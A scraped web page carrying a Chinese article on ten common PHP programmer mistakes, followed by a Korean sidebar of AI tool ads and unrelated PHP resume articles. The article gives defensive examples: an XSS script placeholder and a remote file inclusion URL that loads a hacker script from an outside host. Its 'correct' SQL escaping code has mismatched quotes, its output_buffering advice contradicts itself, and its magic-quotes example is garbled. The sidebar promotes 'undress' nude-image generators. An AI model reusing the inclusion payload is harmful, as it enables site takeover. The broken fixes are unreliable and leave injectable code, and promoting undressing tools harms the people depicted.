php 程序员常犯错误总结
1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据),输出之前都要转意.
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入.
如何修复:我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的.
正确的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法,有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET,$_POST或 $_COOKIE中的得到的.
如何修复:和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数,正确做法:
<?php $sql = "UPDATE users SET name='.mysql_real_escape_string($name).' WHERE id='.mysql_real_escape_string ($id).'"; mysql_query($sql); ?>
3.错误的使用HTTP-header 相关的函数:header(),session_start(),setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]
每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie,头部总是先到达,正文部分包括可视的html,图片等数据.
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用,问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样,结果转向停止了,cookie和session都没有正确的设置........。
如何修复:确保在输出之前调用http-header相关的函数,并且令output_buffering = Off
4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据,不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
现在任一个黑客现在都可以用:http://www.phprm.com/index.php?filename=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本.
如果allow_url_fopen=On,你更是死定了,试试这个输入:
http://www.phprm.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.phprm.com/phphack.php的输出,黑客可以发送垃圾邮件,改变密码,删除文件等等,只要你能想得到.
如何修复:你必须自己控制哪些文件可以包含在的include或require指令中,下面是一个快速但不全面的解决方法:
<?php //Include only files that are allowed. $allowedFiles = array('file1.txt','file2.txt','file3.txt'); if(in_array((string)$_GET['filename'],$allowedFiles)) { include($_GET['filename']); }else{ exit('not allowed'); } ?>
5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出,解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号,还有就是换个好的编辑器,就不要用记事本了.
6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力,PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象.
7. 不使用framework
95% 的PHP项目都在做同样的四件事:Create, edit, list 和delete,现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?
8. 不知道PHP中已经有的功能
PHP的核心包含很多功能,很多程序员重复的发明轮子,浪费了大量时间,编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现,PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回,考虑到安全可以使用EscapeShellCmd()
9.使用旧版本的PHP
很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.phprm.com的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.
10.对引号做两次转意
见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string magic quotes on : It's a string 又运行一次 addslashes(): It's a string HTML输出:It's a string
本文地址:
转载随意,但请附上文章地址:-)

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











완벽한 PHP 프로그래머 이력서를 작성하는 방법 경쟁이 치열한 취업 시장에서 훌륭한 이력서는 구직자에게 매우 중요합니다. PHP 프로그래머에게는 완벽한 이력서를 작성하는 것이 특히 중요합니다. 왜냐하면 이력서는 귀하의 기술과 경험을 보여줄 뿐만 아니라 고용주의 관심을 끄는 열쇠이기 때문입니다. 이 기사에서는 완벽한 PHP 프로그래머 이력서를 작성하는 방법을 처음부터 끝까지 자세히 설명합니다. 1단계: 간결하고 매력적인 이력서 템플릿 선택 간결하고 매력적인 이력서 템플릿을 선택하는 것은 이력서 작성의 첫 번째 단계입니다.

취업 성공률 향상: 훌륭한 PHP 프로그래머 취업 이력서 작성을 위한 팁 현대 사회에서 취업은 모든 졸업생이 직면하는 중요한 과제가 되었습니다. 취업에 있어서 이력서는 가장 중요한 부분입니다. 훌륭한 이력서는 면접에서 승리할 수 있을 뿐만 아니라 성공적으로 취업할 수 있는지 여부도 결정할 수 있습니다. 특히 PHP 프로그래머와 같이 경쟁이 치열한 직위의 경우 뛰어난 이력서를 작성하는 방법은 모든 구직자에게 중요한 문제가 되었습니다. 아래에서는 훌륭한 PHP 프로그래머 이력서를 작성하기 위한 몇 가지 팁을 공유하겠습니다.

고용주에게 깊은 인상을 줄 수 있는 PHP 프로그래머 이력서 작성 방법 경쟁이 치열한 취업 시장에서는 훌륭한 이력서를 작성하는 것이 특히 중요합니다. PHP 프로그래머로서 인상적인 업무 경험과 기술 외에도 이력서에는 프로그래밍에 대한 사랑과 탄탄한 전문 지식이 반영되어야 합니다. 이 기사에서는 고용주의 눈에 빛날 PHP 프로그래머 이력서를 작성하는 데 도움이 되는 몇 가지 팁과 코드 예제를 소개합니다. 간결하고 명확한 개인 정보 이력서의 개인 정보 섹션에는 이름, 연락처 정보 및 웹 사이트가 포함되어야 합니다.

PHP 프로그래머를 위한 눈길을 끄는 이력서 팁: 다른 지원자보다 눈에 띄는 방법 인터넷 산업의 급속한 발전과 함께 PHP 프로그래머는 취업 시장에서도 인기 있는 직위 중 하나가 되었습니다. 그러나 점점 더 많은 사람들이 경력 개발 방향으로 PHP를 선택하고 있으며 이로 인해 경쟁이 더욱 치열해지고 있습니다. 이러한 상황에서 이력서를 어떻게 돋보이게 하고 고용주의 눈에 인기를 끌 수 있는지는 모든 PHP 프로그래머가 생각해 봐야 할 질문입니다. 첫째, 좋은 이력서는 당신의 능력을 명확하고 간결하게 보여주어야 합니다.

PHP 프로그래머를 위한 고액 반격의 길 인터넷의 급속한 발전으로 컴퓨터 과학 분야의 수요가 계속 증가하고 있습니다. 이 시대에는 프로그래밍 능력이 필요한 사람이 가장 수요가 많습니다. 일반적으로 사용되는 프로그래밍 언어인 PHP는 프로그래머에게 고액의 반격 경로를 제공합니다. 이 기사에서는 PHP 프로그래머가 PHP 및 관련 기술을 학습하여 고액의 반격으로 나아갈 수 있는 방법을 소개하고 몇 가지 코드 예제를 첨부합니다. 1. PHP 기본 지식을 마스터하세요. 훌륭한 PHP 프로그래머가 되려면 먼저 PHP 기본 지식을 마스터해야 합니다.

글쓰기 팁 탐색: 매력적인 PHP 프로그래머 이력서를 작성하는 방법 오늘날 경쟁이 치열한 취업 시장에서 매력적인 이력서는 PHP 프로그래머에게 특히 중요합니다. 좋은 이력서는 고용주의 시선을 사로잡을 뿐만 아니라 귀하의 기술과 경험을 보여줍니다. 이 기사에서는 훌륭한 PHP 프로그래머 이력서를 작성하는 데 도움이 되는 몇 가지 작성 팁과 전문적인 능력을 강조하는 코드 예제를 살펴보겠습니다. 간결하고 명확한 형식 이력서 형식은 고용주가 관련 정보를 신속하게 살펴볼 수 있도록 간결하고 명확해야 합니다.

HR과의 연결을 위한 핵심 단계: PHP 프로그래머 이력서에 귀하의 가치를 반영하는 방법 HR은 채용 과정 중 바쁘지만 간략하게 살펴보는 동안 이력서를 통해 후보자를 평가하고 심사합니다. 수많은 구직자들 사이에서 눈에 띄고 HR의 관심을 끌기 위해서는 이력서에서 자신의 가치와 능력을 입증해야 합니다. PHP 프로그래머의 경우 이력서에서 기술적인 능력과 프로젝트 경험을 강조하는 것이 중요합니다. 다음은 몇 가지 핵심 요소와 코드 예제를 통해 가치를 입증하는 방법입니다. 이력서 기술 섹션의 기술 목록

오늘날과 같이 경쟁이 치열한 취업 시장에서 수많은 구직자들 사이에서 어떻게 눈에 띄는가가 매우 중요한 문제가 되었습니다. 특히 PHP 프로그래머의 경우, 좋은 이력서는 면접 여부에 직접적인 영향을 미칠 수 있습니다. 이 기사에서는 당신을 돋보이게 할 PHP 프로그래머 이력서를 작성하는 방법에 대해 자세히 소개합니다. 우선, 좋은 이력서에는 개인 정보, 직무 의도, 학력, 업무 경험, 기술 및 전문 지식, 개인 프로젝트 경험 등 중요한 부분이 포함되어야 합니다. 우리는 부분적으로 갈 것입니다
